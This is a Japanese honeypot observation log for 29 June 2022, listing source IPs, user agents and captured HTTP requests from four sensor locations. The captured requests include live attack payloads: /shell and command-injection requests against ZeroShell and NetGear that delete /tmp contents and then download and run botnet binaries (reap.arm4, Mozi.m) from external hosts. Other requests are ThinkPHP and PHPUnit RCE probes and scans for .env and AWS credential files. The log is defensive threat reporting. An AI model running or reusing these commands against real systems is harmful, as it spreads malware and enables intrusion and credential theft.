2022/06/29 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/06/29分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為

Location:JP

aiohttpによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  91.218.67.131/reaper/reap.arm4;
chmod 777 /tmp/reap.arm4;
sh /tmp/reap.arm4

Location:US

Anarchy99によるスキャン行為
/.awsへのスキャン行為
/.envへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  91.218.67.131/reaper/reap.arm4;
chmod 777 /tmp/reap.arm4;
sh /tmp/reap.arm4

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

Location:UK

JBossの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為

を確認しました。

Location:SG

JBossの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
ZeroShell Linux distributionの脆弱性(CVE-2009-0545)を狙うアクセス
Anarchy99によるスキャン行為
aiohttpによるスキャン行為
/.awsへのスキャン行為
/.envへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：93 (前日比：-18)
US：総アクセス数：161 (前日比：108)
UK：総アクセス数：28 (前日比：-8)
SG：総アクセス数：150 (前日比：69)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.239.240.153	Iran
1	5.252.194.39	Russia
1	20.214.191.179	United States
9	20.222.199.220	United States
1	45.143.200.118	Russia
1	45.164.20.105	Mexico
2	51.159.164.227	France
1	62.197.136.68	Netherlands
1	95.211.150.177	Netherlands
15	95.214.235.205	Ukraine
24	104.156.155.28	United States
2	109.237.103.118	Russia
6	135.125.217.54	France
7	135.125.246.189	France
2	157.245.70.127	United States
1	164.68.116.9	Germany
1	164.90.128.90	United States
1	167.99.118.192	United States
1	172.104.138.223	United States
1	179.43.155.160	Panama
7	185.7.214.104	Hong Kong
1	188.165.87.109	France
1	192.241.221.11	United States
1	193.118.53.202	United States
1	194.31.98.60	Netherlands
1	198.235.24.129	United States
1	203.218.212.20	Hong Kong
1	205.210.31.137	United States

UserAgent一覧

件数	UserAgent
14	`-`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
32	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
9	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
1	`Python/3.7 aiohttp/3.7.4.post0`
20	`curl/7.54.0`
2	`curl/7.81.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_18.179.20.5_80\n`
1		`\x03`
1		`\x16\x03\x01\x01D\x01`
3		`\x16\x03\x01\x02`
2		`\x16\x03\x01`
1	CONNECT	`api[.]ipify[.]org:80`	HTTP/1.1
2	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.1
32	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/2Kwh`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/aws.yml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/config.js`	HTTP/1.1
1	GET	`/config/aws.yml`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/home.jsp`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/indice.php`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/menu.asp`	HTTP/1.1
1	GET	`/nmaplowercheck1656415991`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4`
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.161.131.132	Germany
1	13.68.213.215	United States
1	20.29.109.32	United States
1	20.237.227.24	United States
2	20.253.136.91	United States
1	40.122.156.127	United States
1	45.142.122.136	Seychelles
1	45.143.200.118	Russia
1	45.164.20.137	Mexico
9	51.79.29.48	Canada
1	62.197.136.68	Netherlands
1	74.117.196.110	United States
2	109.237.103.118	Russia
1	122.194.205.46	China
1	128.14.134.134	United States
1	137.135.44.43	United States
2	157.245.70.127	United States
1	161.35.142.98	United States
1	161.35.142.105	United States
1	162.142.125.222	United States
1	167.248.133.60	United States
5	170.187.155.78	United States
2	170.231.236.42	Panama
1	179.43.155.160	Panama
101	183.27.61.70	China
7	185.7.214.104	Hong Kong
8	185.254.196.223	Ukraine
1	192.241.221.236	United States
1	198.235.24.25	United States
1	203.218.212.20	Hong Kong
1	205.210.31.143	United States
1	222.80.76.212	China

UserAgent一覧

件数	UserAgent
13	`-`
1	`Anarchy99`
1	`Hello, world`
2	`Mozila/5.0`
3	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
101	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
22	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
4	`\"Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
1		`\x03`
1		`\x16\x03\x01\x01D\x01`
3		`\x16\x03\x01`
1	CONNECT	`api[.]ipify[.]org:80`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
25	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/nmaplowercheck1656422086`	HTTP/1.1
101	GET	`/phpmyadmin/`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	42.228.102.14	China
1	45.143.200.118	Russia
8	45.240.88.205	Egypt
1	62.197.136.68	Netherlands
1	66.240.192.82	United States
1	88.214.26.10	Germany
1	164.68.116.9	Germany
1	167.94.138.120	United States
1	179.43.155.160	Panama
1	179.43.156.214	Panama
7	185.7.214.104	Hong Kong
1	192.241.205.143	United States
1	193.118.53.210	United States
1	205.210.31.17	United States
1	205.210.31.136	United States

UserAgent一覧

件数	UserAgent
8	`-`
1	`Go-http-client/1.1`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
3		`\x16\x03\x01`
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=svln9tvm`	HTTP/1.1
1	GET	`/cgi-bin/admin_console.cgi`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/_ignition/execute-solution`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
23	4.71.37.46	United States
1	5.161.131.132	Germany
2	20.29.49.161	United States
1	20.29.109.32	United States
1	20.55.53.144	United States
6	20.114.116.157	United States
2	38.68.41.100	United States
1	45.143.200.118	Russia
10	51.79.29.48	Canada
2	52.142.199.164	United States
1	80.246.94.154	Russia
1	88.214.26.10	Germany
2	109.237.103.118	Russia
1	128.14.209.162	United States
8	137.117.50.27	United States
1	154.17.165.13	United States
1	156.96.154.40	United States
18	156.96.154.202	United States
1	161.35.142.105	United States
1	162.142.125.7	United States
1	164.90.128.90	United States
1	167.94.138.117	United States
1	167.94.145.60	United States
1	167.99.118.192	United States
1	170.231.236.42	Panama
41	172.104.171.15	United States
1	179.43.155.160	Panama
1	183.136.225.9	China
7	185.7.214.104	Hong Kong
8	185.254.196.223	Ukraine
1	192.241.206.90	United States
1	194.31.98.60	Netherlands
1	205.210.31.5	United States

UserAgent一覧

件数	UserAgent
35	`-`
1	`Anarchy99`
2	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
41	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
25	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
2	`Python/3.7 aiohttp/3.7.4.post0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
2		`\x03`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01`
1	CONNECT	`api4.my-ip[.]io:443`	HTTP/1.1
1	CONNECT	`api6.my-ip[.]io:443`	HTTP/1.1
1	CONNECT	`www.proxy-listen[.]de:443`	HTTP/1.1
2	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.1
1	GET	`/.env.dev`	HTTP/1.1
1	GET	`/.env.dist`	HTTP/1.1
1	GET	`/.env.local`	HTTP/1.1
28	GET	`/.env`	HTTP/1.1
1	GET	`//admin/.env`	HTTP/1.1
1	GET	`//api/.env`	HTTP/1.1
1	GET	`//beta/.env`	HTTP/1.1
1	GET	`//kyc/.env`	HTTP/1.1
1	GET	`//laravel/.env`	HTTP/1.1
1	GET	`//laravel/core/.env`	HTTP/1.1
1	GET	`//prod/.env`	HTTP/1.1
1	GET	`//public/.env`	HTTP/1.1
1	GET	`/2018/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/2019/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/8hW0R5S2N39VCOfwTEBFcvn6aYR`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=r22sy2zn`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/asdf.php`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
23	GET	`/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5[.]206[.]227[.]228%2Fzero;sh%20zero;%22`	HTTP/1.0
1	GET	`/cgi-bin/php.ini`	HTTP/1.1
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config.env`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/config/config.json`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/dashboard/phpinfo.php`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/i.php`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/info.json`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/infophp.php`	HTTP/1.1
1	GET	`/infos.php`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/linusadmin-phpinfo.php`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/media/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/old_phpinfo.php`	HTTP/1.1
1	GET	`/php-info.php`	HTTP/1.1
1	GET	`/php.ini`	HTTP/1.1
1	GET	`/php.php`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/phpversion.php`	HTTP/1.1
1	GET	`/pinfo.php`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//80[.]246[.]94[.]154:50496/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shop/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/temp.php`	HTTP/1.1
1	GET	`/test.php`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/time.php`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-config.php.bak`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	GET	`http[:]//v4[.]ipv6-test.com/json/widgetdata.php?callback=?`	HTTP/1.1
1	GET	`http[:]//v6[.]ipv6-test.com/json/widgetdata.php?callback=?`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/_ignition/execute-solution`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0